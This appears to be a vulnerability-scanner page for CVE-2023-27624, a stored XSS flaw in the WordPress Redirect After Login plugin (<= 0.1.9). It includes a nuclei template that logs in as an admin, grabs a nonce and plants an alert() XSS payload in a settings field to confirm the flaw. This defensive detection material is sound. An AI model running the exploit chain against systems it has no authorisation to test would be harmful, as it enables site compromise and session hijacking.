WordPress Redirect After Login <= 0.1.9 - Admin Stored XSS

mediumseverity

5.9CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Marcelotorres Redirect After Login plugin <= 0.1.9 contains a stored cross-site scripting caused by insufficient sanitization in the login redirect parameter, letting attackers execute scripts in the context of the affected site, exploit requires admin privileges.

Impact

Attackers can execute malicious scripts in the context of the affected site, potentially leading to session hijacking or defacement.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: GET /wp-login.php
Positive when: status 200
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(all_headers, "wordpress_logged_in")
Send: GET /wp-admin/options-general.php?page=mtral
Positive when: status_code == 200 and contains(body, "Redirect After Login")
Send: POST /wp-admin/options.php ; GET /wp-admin/options-general.php?page=mtral
Positive when: contains "value=\"\"><img src=x onerror=alert(document.domain)>\"" and "mtral_field_custom_url_administrator" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27624 -u <target>

The full check

id: CVE-2023-27624

info:
  name: WordPress Redirect After Login <= 0.1.9 - Admin Stored XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Marcelotorres Redirect After Login plugin <= 0.1.9 contains a stored cross-site scripting caused by insufficient sanitization in the login redirect parameter, letting attackers execute scripts in the context of the affected site, exploit requires admin privileges.
  impact: |
    Attackers can execute malicious scripts in the context of the affected site, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://patchstack.com/database/vulnerability/redirect-after-login/wordpress-redirect-after-login-plugin-0-1-9-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2023-27624
    cwe-id: CWE-79
    epss-score: 0.00619
    epss-percentile: 0.49993
    cpe: cpe:2.3:a:redirect_after_login_project:redirect_after_login:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: redirect_after_login_project
    product: redirect_after_login
    framework: wordpress
  tags: cve,cve2023,wordpress,wp-plugin,xss,authenticated,vuln
flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{BaseURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(all_headers, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=mtral HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Redirect After Login")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=mtral_settings&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dmtral&mtral_settings%5Bmtral_field_administrator%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_administrator%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&mtral_settings%5Bmtral_field_editor%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_editor%5D=&mtral_settings%5Bmtral_field_author%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_author%5D=&mtral_settings%5Bmtral_field_contributor%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_contributor%5D=&mtral_settings%5Bmtral_field_subscriber%5D={{RootURL}}&mtral_settings%5Bmtral_field_custom_url_subscriber%5D=&submit=Save+Changes

      - |
        GET /wp-admin/options-general.php?page=mtral HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><img src=x onerror=alert(document.domain)>"'
          - 'mtral_field_custom_url_administrator'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

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